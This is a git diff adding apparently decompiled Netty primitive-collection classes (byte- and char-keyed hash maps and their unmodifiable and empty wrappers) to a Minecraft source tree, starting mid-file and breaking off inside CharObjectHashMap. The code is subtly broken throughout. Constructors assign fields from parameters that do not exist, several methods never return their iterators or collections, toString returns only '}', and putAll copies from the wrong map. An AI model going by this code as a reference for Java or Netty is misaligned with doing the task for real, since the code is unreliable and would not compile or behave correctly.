+
+  public static void main(String[] args)
+  {
+    for (Version v : identify().values()) {
+      System.err.println(v);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private Version(String artifactId, String artifactVersion, long buildTimeMillis, long commitTimeMillis, String shortCommitHash, String longCommitHash, String repositoryStatus)
+  {
+    this.artifactId = artifactId;
+    this.artifactVersion = artifactVersion;
+    this.buildTimeMillis = buildTimeMillis;
+    this.commitTimeMillis = commitTimeMillis;
+    this.shortCommitHash = shortCommitHash;
+    this.longCommitHash = longCommitHash;
+    this.repositoryStatus = repositoryStatus;
+  }
+  
+  public String artifactId() {
+    return artifactId;
+  }
+  
+  public String artifactVersion() {
+    return artifactVersion;
+  }
+  
+  public long buildTimeMillis() {
+    return buildTimeMillis;
+  }
+  
+  public long commitTimeMillis() {
+    return commitTimeMillis;
+  }
+  
+  public String shortCommitHash() {
+    return shortCommitHash;
+  }
+  
+  public String longCommitHash() {
+    return longCommitHash;
+  }
+  
+  public String repositoryStatus() {
+    return repositoryStatus;
+  }
+  
+  public String toString()
+  {
+    return artifactId + '-' + artifactVersion + '.' + shortCommitHash + ("clean".equals(repositoryStatus) ? "" : new StringBuilder().append(" (repository: ").append(repositoryStatus).append(')').toString());
+  }
+}
diff --git a/src/minecraft/io/netty/util/collection/ByteCollections.java b/src/minecraft/io/netty/util/collection/ByteCollections.java
new file mode 100644
index 0000000..725c935
--- /dev/null
+++ b/src/minecraft/io/netty/util/collection/ByteCollections.java
@@ -0,0 +1,313 @@
+package io.netty.util.collection;
+
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ByteCollections
+{
+  private static final ByteObjectMap<Object> EMPTY_MAP = new EmptyMap(null);
+  
+
+
+  private ByteCollections() {}
+  
+
+
+  public static <V> ByteObjectMap<V> emptyMap()
+  {
+    return EMPTY_MAP;
+  }
+  
+
+
+  public static <V> ByteObjectMap<V> unmodifiableMap(ByteObjectMap<V> map)
+  {
+    return new UnmodifiableMap(map);
+  }
+  
+  private static final class EmptyMap implements ByteObjectMap<Object>
+  {
+    private EmptyMap() {}
+    
+    public Object get(byte key)
+    {
+      return null;
+    }
+    
+    public Object put(byte key, Object value)
+    {
+      throw new UnsupportedOperationException("put");
+    }
+    
+    public Object remove(byte key)
+    {
+      return null;
+    }
+    
+    public int size()
+    {
+      return 0;
+    }
+    
+    public boolean isEmpty()
+    {
+      return true;
+    }
+    
+    public boolean containsKey(Object key)
+    {
+      return false;
+    }
+    
+
+
+    public void clear() {}
+    
+
+    public Set<Byte> keySet()
+    {
+      return Collections.emptySet();
+    }
+    
+    public boolean containsKey(byte key)
+    {
+      return false;
+    }
+    
+    public boolean containsValue(Object value)
+    {
+      return false;
+    }
+    
+    public Iterable<ByteObjectMap.PrimitiveEntry<Object>> entries()
+    {
+      return Collections.emptySet();
+    }
+    
+    public Object get(Object key)
+    {
+      return null;
+    }
+    
+    public Object put(Byte key, Object value)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Object remove(Object key)
+    {
+      return null;
+    }
+    
+    public void putAll(Map<? extends Byte, ?> m)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Collection<Object> values()
+    {
+      return Collections.emptyList();
+    }
+    
+    public Set<Map.Entry<Byte, Object>> entrySet()
+    {
+      return Collections.emptySet();
+    }
+  }
+  
+
+  private static final class UnmodifiableMap<V>
+    implements ByteObjectMap<V>
+  {
+    private final ByteObjectMap<V> map;
+    
+    private Set<Byte> keySet;
+    private Set<Map.Entry<Byte, V>> entrySet;
+    private Collection<V> values;
+    private Iterable<ByteObjectMap.PrimitiveEntry<V>> entries;
+    
+    UnmodifiableMap(ByteObjectMap<V> map)
+    {
+      this.map = map;
+    }
+    
+    public V get(byte key)
+    {
+      return map.get(key);
+    }
+    
+    public V put(byte key, V value)
+    {
+      throw new UnsupportedOperationException("put");
+    }
+    
+    public V remove(byte key)
+    {
+      throw new UnsupportedOperationException("remove");
+    }
+    
+    public int size()
+    {
+      return map.size();
+    }
+    
+    public boolean isEmpty()
+    {
+      return map.isEmpty();
+    }
+    
+    public void clear()
+    {
+      throw new UnsupportedOperationException("clear");
+    }
+    
+    public boolean containsKey(byte key)
+    {
+      return map.containsKey(key);
+    }
+    
+    public boolean containsValue(Object value)
+    {
+      return map.containsValue(value);
+    }
+    
+    public boolean containsKey(Object key)
+    {
+      return map.containsKey(key);
+    }
+    
+    public V get(Object key)
+    {
+      return map.get(key);
+    }
+    
+    public V put(Byte key, V value)
+    {
+      throw new UnsupportedOperationException("put");
+    }
+    
+    public V remove(Object key)
+    {
+      throw new UnsupportedOperationException("remove");
+    }
+    
+    public void putAll(Map<? extends Byte, ? extends V> m)
+    {
+      throw new UnsupportedOperationException("putAll");
+    }
+    
+    public Iterable<ByteObjectMap.PrimitiveEntry<V>> entries()
+    {
+      if (entries == null) {
+        entries = new Iterable()
+        {
+          public Iterator<ByteObjectMap.PrimitiveEntry<V>> iterator() {
+            return new ByteCollections.UnmodifiableMap.IteratorImpl(ByteCollections.UnmodifiableMap.this, map.entries().iterator());
+          }
+        };
+      }
+      
+      return entries;
+    }
+    
+    public Set<Byte> keySet()
+    {
+      if (keySet == null) {
+        keySet = Collections.unmodifiableSet(map.keySet());
+      }
+      return keySet;
+    }
+    
+    public Set<Map.Entry<Byte, V>> entrySet()
+    {
+      if (entrySet == null) {
+        entrySet = Collections.unmodifiableSet(map.entrySet());
+      }
+      return entrySet;
+    }
+    
+    public Collection<V> values()
+    {
+      if (values == null) {
+        values = Collections.unmodifiableCollection(map.values());
+      }
+      return values;
+    }
+    
+    private class IteratorImpl
+      implements Iterator<ByteObjectMap.PrimitiveEntry<V>>
+    {
+      final Iterator<ByteObjectMap.PrimitiveEntry<V>> iter;
+      
+      IteratorImpl()
+      {
+        this.iter = iter;
+      }
+      
+      public boolean hasNext()
+      {
+        return iter.hasNext();
+      }
+      
+      public ByteObjectMap.PrimitiveEntry<V> next()
+      {
+        if (!hasNext()) {
+          throw new NoSuchElementException();
+        }
+        return new ByteCollections.UnmodifiableMap.EntryImpl(ByteCollections.UnmodifiableMap.this, (ByteObjectMap.PrimitiveEntry)iter.next());
+      }
+      
+      public void remove()
+      {
+        throw new UnsupportedOperationException("remove");
+      }
+    }
+    
+    private class EntryImpl
+      implements ByteObjectMap.PrimitiveEntry<V>
+    {
+      private final ByteObjectMap.PrimitiveEntry<V> entry;
+      
+      EntryImpl()
+      {
+        this.entry = entry;
+      }
+      
+      public byte key()
+      {
+        return entry.key();
+      }
+      
+      public V value()
+      {
+        return entry.value();
+      }
+      
+      public void setValue(V value)
+      {
+        throw new UnsupportedOperationException("setValue");
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/collection/ByteObjectHashMap.java b/src/minecraft/io/netty/util/collection/ByteObjectHashMap.java
new file mode 100644
index 0000000..b124101
--- /dev/null
+++ b/src/minecraft/io/netty/util/collection/ByteObjectHashMap.java
@@ -0,0 +1,725 @@
+package io.netty.util.collection;
+
+import io.netty.util.internal.MathUtil;
+import java.util.AbstractCollection;
+import java.util.AbstractSet;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ByteObjectHashMap<V>
+  implements ByteObjectMap<V>
+{
+  public static final int DEFAULT_CAPACITY = 8;
+  public static final float DEFAULT_LOAD_FACTOR = 0.5F;
+  private static final Object NULL_VALUE = new Object();
+  
+  private int maxSize;
+  
+  private final float loadFactor;
+  
+  private byte[] keys;
+  
+  private V[] values;
+  
+  private int size;
+  
+  private int mask;
+  private final Set<Byte> keySet = new KeySet(null);
+  private final Set<Map.Entry<Byte, V>> entrySet = new EntrySet(null);
+  private final Iterable<ByteObjectMap.PrimitiveEntry<V>> entries = new Iterable()
+  {
+    public Iterator<ByteObjectMap.PrimitiveEntry<V>> iterator() {
+      return new ByteObjectHashMap.PrimitiveIterator(ByteObjectHashMap.this, null);
+    }
+  };
+  
+  public ByteObjectHashMap() {
+    this(8, 0.5F);
+  }
+  
+  public ByteObjectHashMap(int initialCapacity) {
+    this(initialCapacity, 0.5F);
+  }
+  
+  public ByteObjectHashMap(int initialCapacity, float loadFactor) {
+    if ((loadFactor <= 0.0F) || (loadFactor > 1.0F))
+    {
+
+      throw new IllegalArgumentException("loadFactor must be > 0 and <= 1");
+    }
+    
+    this.loadFactor = loadFactor;
+    
+
+    int capacity = MathUtil.safeFindNextPositivePowerOfTwo(initialCapacity);
+    mask = (capacity - 1);
+    
+
+    keys = new byte[capacity];
+    
+    V[] temp = (Object[])new Object[capacity];
+    values = temp;
+    
+
+    maxSize = calcMaxSize(capacity);
+  }
+  
+  private static <T> T toExternal(T value) {
+    return value == NULL_VALUE ? null : value;
+  }
+  
+  private static <T> T toInternal(T value)
+  {
+    return value == null ? NULL_VALUE : value;
+  }
+  
+  public V get(byte key)
+  {
+    int index = indexOf(key);
+    return index == -1 ? null : toExternal(values[index]);
+  }
+  
+  public V put(byte key, V value)
+  {
+    int startIndex = hashIndex(key);
+    int index = startIndex;
+    do
+    {
+      if (values[index] == null)
+      {
+        keys[index] = key;
+        values[index] = toInternal(value);
+        growSize();
+        return null;
+      }
+      if (keys[index] == key)
+      {
+        V previousValue = values[index];
+        values[index] = toInternal(value);
+        return toExternal(previousValue);
+      }
+      
+    }
+    while ((index = probeNext(index)) != startIndex);
+    
+    throw new IllegalStateException("Unable to insert");
+  }
+  
+
+
+  public void putAll(Map<? extends Byte, ? extends V> sourceMap)
+  {
+    if ((sourceMap instanceof ByteObjectHashMap))
+    {
+
+      ByteObjectHashMap<V> source = (ByteObjectHashMap)sourceMap;
+      for (int i = 0; i < values.length; i++) {
+        V sourceValue = values[i];
+        if (sourceValue != null) {
+          put(keys[i], sourceValue);
+        }
+      }
+      return;
+    }
+    
+
+    for (Map.Entry<? extends Byte, ? extends V> entry : sourceMap.entrySet()) {
+      put((Byte)entry.getKey(), entry.getValue());
+    }
+  }
+  
+  public V remove(byte key)
+  {
+    int index = indexOf(key);
+    if (index == -1) {
+      return null;
+    }
+    
+    V prev = values[index];
+    removeAt(index);
+    return toExternal(prev);
+  }
+  
+  public int size()
+  {
+    return size;
+  }
+  
+  public boolean isEmpty()
+  {
+    return size == 0;
+  }
+  
+  public void clear()
+  {
+    Arrays.fill(keys, (byte)0);
+    Arrays.fill(values, null);
+    size = 0;
+  }
+  
+  public boolean containsKey(byte key)
+  {
+    return indexOf(key) >= 0;
+  }
+  
+
+  public boolean containsValue(Object value)
+  {
+    V v1 = toInternal(value);
+    for (V v2 : values)
+    {
+      if ((v2 != null) && (v2.equals(v1))) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+  public Iterable<ByteObjectMap.PrimitiveEntry<V>> entries()
+  {
+    return entries;
+  }
+  
+  public Collection<V> values()
+  {
+    new AbstractCollection()
+    {
+      public Iterator<V> iterator() {
+        new Iterator() {
+          final ByteObjectHashMap<V>.PrimitiveIterator iter = new ByteObjectHashMap.PrimitiveIterator(ByteObjectHashMap.this, null);
+          
+          public boolean hasNext()
+          {
+            return iter.hasNext();
+          }
+          
+          public V next()
+          {
+            return iter.next().value();
+          }
+          
+          public void remove()
+          {
+            throw new UnsupportedOperationException();
+          }
+        };
+      }
+      
+      public int size()
+      {
+        return size;
+      }
+    };
+  }
+  
+
+
+
+  public int hashCode()
+  {
+    int hash = size;
+    for (byte key : keys)
+    {
+
+
+
+
+
+
+      hash ^= hashCode(key);
+    }
+    return hash;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (this == obj) {
+      return true;
+    }
+    if (!(obj instanceof ByteObjectMap)) {
+      return false;
+    }
+    
+    ByteObjectMap other = (ByteObjectMap)obj;
+    if (size != other.size()) {
+      return false;
+    }
+    for (int i = 0; i < values.length; i++) {
+      V value = values[i];
+      if (value != null) {
+        byte key = keys[i];
+        Object otherValue = other.get(key);
+        if (value == NULL_VALUE) {
+          if (otherValue != null) {
+            return false;
+          }
+        } else if (!value.equals(otherValue)) {
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+  public boolean containsKey(Object key)
+  {
+    return containsKey(objectToKey(key));
+  }
+  
+  public V get(Object key)
+  {
+    return get(objectToKey(key));
+  }
+  
+  public V put(Byte key, V value)
+  {
+    return put(objectToKey(key), value);
+  }
+  
+  public V remove(Object key)
+  {
+    return remove(objectToKey(key));
+  }
+  
+  public Set<Byte> keySet()
+  {
+    return keySet;
+  }
+  
+  public Set<Map.Entry<Byte, V>> entrySet()
+  {
+    return entrySet;
+  }
+  
+  private byte objectToKey(Object key) {
+    return ((Byte)key).byteValue();
+  }
+  
+
+
+
+
+
+  private int indexOf(byte key)
+  {
+    int startIndex = hashIndex(key);
+    int index = startIndex;
+    do
+    {
+      if (values[index] == null)
+      {
+        return -1;
+      }
+      if (key == keys[index]) {
+        return index;
+      }
+      
+    }
+    while ((index = probeNext(index)) != startIndex);
+    return -1;
+  }
+  
+
+
+
+
+
+  private int hashIndex(byte key)
+  {
+    return hashCode(key) & mask;
+  }
+  
+
+
+  private static int hashCode(byte key)
+  {
+    return key;
+  }
+  
+
+
+
+  private int probeNext(int index)
+  {
+    return index + 1 & mask;
+  }
+  
+
+
+  private void growSize()
+  {
+    size += 1;
+    
+    if (size > maxSize) {
+      if (keys.length == Integer.MAX_VALUE) {
+        throw new IllegalStateException("Max capacity reached at size=" + size);
+      }
+      
+
+      rehash(keys.length << 1);
+    }
+  }
+  
+
+
+
+
+
+
+  private boolean removeAt(int index)
+  {
+    size -= 1;
+    
+
+    keys[index] = 0;
+    values[index] = null;
+    
+
+
+
+
+
+    boolean movedBack = false;
+    int nextFree = index;
+    for (int i = probeNext(index); values[i] != null; i = probeNext(i)) {
+      int bucket = hashIndex(keys[i]);
+      if (((i < bucket) && ((bucket <= nextFree) || (nextFree <= i))) || ((bucket <= nextFree) && (nextFree <= i)))
+      {
+
+        keys[nextFree] = keys[i];
+        values[nextFree] = values[i];
+        movedBack = true;
+        
+        keys[i] = 0;
+        values[i] = null;
+        nextFree = i;
+      }
+    }
+    return movedBack;
+  }
+  
+
+
+
+  private int calcMaxSize(int capacity)
+  {
+    int upperBound = capacity - 1;
+    return Math.min(upperBound, (int)(capacity * loadFactor));
+  }
+  
+
+
+
+
+  private void rehash(int newCapacity)
+  {
+    byte[] oldKeys = keys;
+    V[] oldVals = values;
+    
+    keys = new byte[newCapacity];
+    
+    V[] temp = (Object[])new Object[newCapacity];
+    values = temp;
+    
+    maxSize = calcMaxSize(newCapacity);
+    mask = (newCapacity - 1);
+    
+
+    for (int i = 0; i < oldVals.length; i++) {
+      V oldVal = oldVals[i];
+      if (oldVal != null)
+      {
+
+        byte oldKey = oldKeys[i];
+        int index = hashIndex(oldKey);
+        for (;;)
+        {
+          if (values[index] == null) {
+            keys[index] = oldKey;
+            values[index] = oldVal;
+            break;
+          }
+          
+
+          index = probeNext(index);
+        }
+      }
+    }
+  }
+  
+  public String toString()
+  {
+    if (isEmpty()) {
+      return "{}";
+    }
+    StringBuilder sb = new StringBuilder(4 * size);
+    sb.append('{');
+    boolean first = true;
+    for (int i = 0; i < values.length; i++) {
+      V value = values[i];
+      if (value != null) {
+        if (!first) {
+          sb.append(", ");
+        }
+        sb.append(keyToString(keys[i])).append('=').append(value == this ? "(this Map)" : toExternal(value));
+        
+        first = false;
+      }
+    }
+    return '}';
+  }
+  
+
+
+
+  protected String keyToString(byte key)
+  {
+    return Byte.toString(key);
+  }
+  
+  private final class EntrySet extends AbstractSet<Map.Entry<Byte, V>>
+  {
+    private EntrySet() {}
+    
+    public Iterator<Map.Entry<Byte, V>> iterator()
+    {
+      return new ByteObjectHashMap.MapIterator(ByteObjectHashMap.this, null);
+    }
+    
+    public int size()
+    {
+      return ByteObjectHashMap.this.size();
+    }
+  }
+  
+  private final class KeySet extends AbstractSet<Byte>
+  {
+    private KeySet() {}
+    
+    public int size()
+    {
+      return ByteObjectHashMap.this.size();
+    }
+    
+    public boolean contains(Object o)
+    {
+      return containsKey(o);
+    }
+    
+    public boolean remove(Object o)
+    {
+      return remove(o) != null;
+    }
+    
+    public boolean retainAll(Collection<?> retainedKeys)
+    {
+      boolean changed = false;
+      for (Iterator<ByteObjectMap.PrimitiveEntry<V>> iter = entries().iterator(); iter.hasNext();) {
+        ByteObjectMap.PrimitiveEntry<V> entry = (ByteObjectMap.PrimitiveEntry)iter.next();
+        if (!retainedKeys.contains(Byte.valueOf(entry.key()))) {
+          changed = true;
+          iter.remove();
+        }
+      }
+      return changed;
+    }
+    
+    public void clear()
+    {
+      ByteObjectHashMap.this.clear();
+    }
+    
+    public Iterator<Byte> iterator()
+    {
+      new Iterator() {
+        private final Iterator<Map.Entry<Byte, V>> iter = entrySet.iterator();
+        
+        public boolean hasNext()
+        {
+          return iter.hasNext();
+        }
+        
+        public Byte next()
+        {
+          return (Byte)((Map.Entry)iter.next()).getKey();
+        }
+        
+        public void remove()
+        {
+          iter.remove();
+        }
+      };
+    }
+  }
+  
+
+  private final class PrimitiveIterator
+    implements Iterator<ByteObjectMap.PrimitiveEntry<V>>, ByteObjectMap.PrimitiveEntry<V>
+  {
+    private int prevIndex = -1;
+    private int nextIndex = -1;
+    private int entryIndex = -1;
+    
+    private PrimitiveIterator() {}
+    
+    private void scanNext() { while (++nextIndex != values.length) { if (values[nextIndex] != null) {
+          break;
+        }
+      }
+    }
+    
+    public boolean hasNext()
+    {
+      if (nextIndex == -1) {
+        scanNext();
+      }
+      return nextIndex < keys.length;
+    }
+    
+    public ByteObjectMap.PrimitiveEntry<V> next()
+    {
+      if (!hasNext()) {
+        throw new NoSuchElementException();
+      }
+      
+      prevIndex = nextIndex;
+      scanNext();
+      
+
+      entryIndex = prevIndex;
+      return this;
+    }
+    
+    public void remove()
+    {
+      if (prevIndex < 0) {
+        throw new IllegalStateException("next must be called before each remove.");
+      }
+      if (ByteObjectHashMap.this.removeAt(prevIndex))
+      {
+
+
+        nextIndex = prevIndex;
+      }
+      prevIndex = -1;
+    }
+    
+
+
+
+    public byte key()
+    {
+      return keys[entryIndex];
+    }
+    
+    public V value()
+    {
+      return ByteObjectHashMap.toExternal(values[entryIndex]);
+    }
+    
+    public void setValue(V value)
+    {
+      values[entryIndex] = ByteObjectHashMap.toInternal(value);
+    }
+  }
+  
+
+  private final class MapIterator
+    implements Iterator<Map.Entry<Byte, V>>
+  {
+    private final ByteObjectHashMap<V>.PrimitiveIterator iter = new ByteObjectHashMap.PrimitiveIterator(ByteObjectHashMap.this, null);
+    
+    private MapIterator() {}
+    
+    public boolean hasNext() { return iter.hasNext(); }
+    
+
+    public Map.Entry<Byte, V> next()
+    {
+      if (!hasNext()) {
+        throw new NoSuchElementException();
+      }
+      
+      iter.next();
+      
+      return new ByteObjectHashMap.MapEntry(ByteObjectHashMap.this, ByteObjectHashMap.PrimitiveIterator.access$1100(iter));
+    }
+    
+    public void remove()
+    {
+      iter.remove();
+    }
+  }
+  
+  final class MapEntry
+    implements Map.Entry<Byte, V>
+  {
+    private final int entryIndex;
+    
+    MapEntry(int entryIndex)
+    {
+      this.entryIndex = entryIndex;
+    }
+    
+    public Byte getKey()
+    {
+      verifyExists();
+      return Byte.valueOf(keys[entryIndex]);
+    }
+    
+    public V getValue()
+    {
+      verifyExists();
+      return ByteObjectHashMap.toExternal(values[entryIndex]);
+    }
+    
+    public V setValue(V value)
+    {
+      verifyExists();
+      V prevValue = ByteObjectHashMap.toExternal(values[entryIndex]);
+      values[entryIndex] = ByteObjectHashMap.toInternal(value);
+      return prevValue;
+    }
+    
+    private void verifyExists() {
+      if (values[entryIndex] == null) {
+        throw new IllegalStateException("The map entry has been removed");
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/collection/ByteObjectMap.java b/src/minecraft/io/netty/util/collection/ByteObjectMap.java
new file mode 100644
index 0000000..566c024
--- /dev/null
+++ b/src/minecraft/io/netty/util/collection/ByteObjectMap.java
@@ -0,0 +1,26 @@
+package io.netty.util.collection;
+
+import java.util.Map;
+
+public abstract interface ByteObjectMap<V>
+  extends Map<Byte, V>
+{
+  public abstract V get(byte paramByte);
+  
+  public abstract V put(byte paramByte, V paramV);
+  
+  public abstract V remove(byte paramByte);
+  
+  public abstract Iterable<PrimitiveEntry<V>> entries();
+  
+  public abstract boolean containsKey(byte paramByte);
+  
+  public static abstract interface PrimitiveEntry<V>
+  {
+    public abstract byte key();
+    
+    public abstract V value();
+    
+    public abstract void setValue(V paramV);
+  }
+}
diff --git a/src/minecraft/io/netty/util/collection/CharCollections.java b/src/minecraft/io/netty/util/collection/CharCollections.java
new file mode 100644
index 0000000..fca083d
--- /dev/null
+++ b/src/minecraft/io/netty/util/collection/CharCollections.java
@@ -0,0 +1,313 @@
+package io.netty.util.collection;
+
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class CharCollections
+{
+  private static final CharObjectMap<Object> EMPTY_MAP = new EmptyMap(null);
+  
+
+
+  private CharCollections() {}
+  
+
+
+  public static <V> CharObjectMap<V> emptyMap()
+  {
+    return EMPTY_MAP;
+  }
+  
+
+
+  public static <V> CharObjectMap<V> unmodifiableMap(CharObjectMap<V> map)
+  {
+    return new UnmodifiableMap(map);
+  }
+  
+  private static final class EmptyMap implements CharObjectMap<Object>
+  {
+    private EmptyMap() {}
+    
+    public Object get(char key)
+    {
+      return null;
+    }
+    
+    public Object put(char key, Object value)
+    {
+      throw new UnsupportedOperationException("put");
+    }
+    
+    public Object remove(char key)
+    {
+      return null;
+    }
+    
+    public int size()
+    {
+      return 0;
+    }
+    
+    public boolean isEmpty()
+    {
+      return true;
+    }
+    
+    public boolean containsKey(Object key)
+    {
+      return false;
+    }
+    
+
+
+    public void clear() {}
+    
+
+    public Set<Character> keySet()
+    {
+      return Collections.emptySet();
+    }
+    
+    public boolean containsKey(char key)
+    {
+      return false;
+    }
+    
+    public boolean containsValue(Object value)
+    {
+      return false;
+    }
+    
+    public Iterable<CharObjectMap.PrimitiveEntry<Object>> entries()
+    {
+      return Collections.emptySet();
+    }
+    
+    public Object get(Object key)
+    {
+      return null;
+    }
+    
+    public Object put(Character key, Object value)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Object remove(Object key)
+    {
+      return null;
+    }
+    
+    public void putAll(Map<? extends Character, ?> m)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Collection<Object> values()
+    {
+      return Collections.emptyList();
+    }
+    
+    public Set<Map.Entry<Character, Object>> entrySet()
+    {
+      return Collections.emptySet();
+    }
+  }
+  
+
+  private static final class UnmodifiableMap<V>
+    implements CharObjectMap<V>
+  {
+    private final CharObjectMap<V> map;
+    
+    private Set<Character> keySet;
+    private Set<Map.Entry<Character, V>> entrySet;
+    private Collection<V> values;
+    private Iterable<CharObjectMap.PrimitiveEntry<V>> entries;
+    
+    UnmodifiableMap(CharObjectMap<V> map)
+    {
+      this.map = map;
+    }
+    
+    public V get(char key)
+    {
+      return map.get(key);
+    }
+    
+    public V put(char key, V value)
+    {
+      throw new UnsupportedOperationException("put");
+    }
+    
+    public V remove(char key)
+    {
+      throw new UnsupportedOperationException("remove");
+    }
+    
+    public int size()
+    {
+      return map.size();
+    }
+    
+    public boolean isEmpty()
+    {
+      return map.isEmpty();
+    }
+    
+    public void clear()
+    {
+      throw new UnsupportedOperationException("clear");
+    }
+    
+    public boolean containsKey(char key)
+    {
+      return map.containsKey(key);
+    }
+    
+    public boolean containsValue(Object value)
+    {
+      return map.containsValue(value);
+    }
+    
+    public boolean containsKey(Object key)
+    {
+      return map.containsKey(key);
+    }
+    
+    public V get(Object key)
+    {
+      return map.get(key);
+    }
+    
+    public V put(Character key, V value)
+    {
+      throw new UnsupportedOperationException("put");
+    }
+    
+    public V remove(Object key)
+    {
+      throw new UnsupportedOperationException("remove");
+    }
+    
+    public void putAll(Map<? extends Character, ? extends V> m)
+    {
+      throw new UnsupportedOperationException("putAll");
+    }
+    
+    public Iterable<CharObjectMap.PrimitiveEntry<V>> entries()
+    {
+      if (entries == null) {
+        entries = new Iterable()
+        {
+          public Iterator<CharObjectMap.PrimitiveEntry<V>> iterator() {
+            return new CharCollections.UnmodifiableMap.IteratorImpl(CharCollections.UnmodifiableMap.this, map.entries().iterator());
+          }
+        };
+      }
+      
+      return entries;
+    }
+    
+    public Set<Character> keySet()
+    {
+      if (keySet == null) {
+        keySet = Collections.unmodifiableSet(map.keySet());
+      }
+      return keySet;
+    }
+    
+    public Set<Map.Entry<Character, V>> entrySet()
+    {
+      if (entrySet == null) {
+        entrySet = Collections.unmodifiableSet(map.entrySet());
+      }
+      return entrySet;
+    }
+    
+    public Collection<V> values()
+    {
+      if (values == null) {
+        values = Collections.unmodifiableCollection(map.values());
+      }
+      return values;
+    }
+    
+    private class IteratorImpl
+      implements Iterator<CharObjectMap.PrimitiveEntry<V>>
+    {
+      final Iterator<CharObjectMap.PrimitiveEntry<V>> iter;
+      
+      IteratorImpl()
+      {
+        this.iter = iter;
+      }
+      
+      public boolean hasNext()
+      {
+        return iter.hasNext();
+      }
+      
+      public CharObjectMap.PrimitiveEntry<V> next()
+      {
+        if (!hasNext()) {
+          throw new NoSuchElementException();
+        }
+        return new CharCollections.UnmodifiableMap.EntryImpl(CharCollections.UnmodifiableMap.this, (CharObjectMap.PrimitiveEntry)iter.next());
+      }
+      
+      public void remove()
+      {
+        throw new UnsupportedOperationException("remove");
+      }
+    }
+    
+    private class EntryImpl
+      implements CharObjectMap.PrimitiveEntry<V>
+    {
+      private final CharObjectMap.PrimitiveEntry<V> entry;
+      
+      EntryImpl()
+      {
+        this.entry = entry;
+      }
+      
+      public char key()
+      {
+        return entry.key();
+      }
+      
+      public V value()
+      {
+        return entry.value();
+      }
+      
+      public void setValue(V value)
+      {
+        throw new UnsupportedOperationException("setValue");
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/collection/CharObjectHashMap.java b/src/minecraft/io/netty/util/collection/CharObjectHashMap.java
new file mode 100644
index 0000000..3e84796
--- /dev/null
+++ b/src/minecraft/io/netty/util/collection/CharObjectHashMap.java
@@ -0,0 +1,725 @@
+package io.netty.util.collection;
+
+import io.netty.util.internal.MathUtil;
+import java.util.AbstractCollection;
+import java.util.AbstractSet;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CharObjectHashMap<V>
+  implements CharObjectMap<V>
+{
+  public static final int DEFAULT_CAPACITY = 8;
+  public static final float DEFAULT_LOAD_FACTOR = 0.5F;
+  private static final Object NULL_VALUE = new Object();
+  
+  private int maxSize;
+  
+  private final float loadFactor;
+  
+  private char[] keys;
+  
+  private V[] values;
+  
+  private int size;
+  
+  private int mask;
+  private final Set<Character> keySet = new KeySet(null);
+  private final Set<Map.Entry<Character, V>> entrySet = new EntrySet(null);
+  private final Iterable<CharObjectMap.PrimitiveEntry<V>> entries = new Iterable()
+  {
+    public Iterator<CharObjectMap.PrimitiveEntry<V>> iterator() {
+      return new CharObjectHashMap.PrimitiveIterator(CharObjectHashMap.this, null);
+    }
+  };
+  
+  public CharObjectHashMap() {
+    this(8, 0.5F);
+  }
+  
+  public CharObjectHashMap(int initialCapacity) {
+    this(initialCapacity, 0.5F);
+  }
+  
+  public CharObjectHashMap(int initialCapacity, float loadFactor) {
+    if ((loadFactor <= 0.0F) || (loadFactor > 1.0F))
+    {
+
+      throw new IllegalArgumentException("loadFactor must be > 0 and <= 1");
+    }
+    
+    this.loadFactor = loadFactor;
+    
+
+    int capacity = MathUtil.safeFindNextPositivePowerOfTwo(initialCapacity);
+    mask = (capacity - 1);
+    
+
+    keys = new char[capacity];
+    
+    V[] temp = (Object[])new Object[capacity];
+    values = temp;
+    
+
+    maxSize = calcMaxSize(capacity);
+  }
+  
+  private static <T> T toExternal(T value) {
+    return value == NULL_VALUE ? null : value;
+  }
+  
+  private static <T> T toInternal(T value)
+  {
+    return value == null ? NULL_VALUE : value;
+  }
+  
+  public V get(char key)
+  {
+    int index = indexOf(key);
+    return index == -1 ? null : toExternal(values[index]);
+  }
+  
+  public V put(char key, V value)
+  {
+    int startIndex = hashIndex(key);
+    int index = startIndex;
+    do
+    {
+      if (values[index] == null)
+      {
+        keys[index] = key;
+        values[index] = toInternal(value);
+        growSize();
+        return null;
+      }
+      if (keys[index] == key)
+      {
+        V previousValue = values[index];
+        values[index] = toInternal(value);
+        return toExternal(previousValue);
+      }
+      
+    }
+    while ((index = probeNext(index)) != startIndex);
+    
+    throw new IllegalStateException("Unable to insert");
+  }
+  
+
+
+  public void putAll(Map<? extends Character, ? extends V> sourceMap)
+  {
+    if ((sourceMap instanceof CharObjectHashMap))
+    {
+
+      CharObjectHashMap<V> source = (CharObjectHashMap)sourceMap;
+      for (int i = 0; i < values.length; i++) {
+        V sourceValue = values[i];
+        if (sourceValue != null) {
+          put(keys[i], sourceValue);
+        }
+      }
+      return;
+    }
+    
+
+    for (Map.Entry<? extends Character, ? extends V> entry : sourceMap.entrySet()) {
+      put((Character)entry.getKey(), entry.getValue());
+    }
+  }
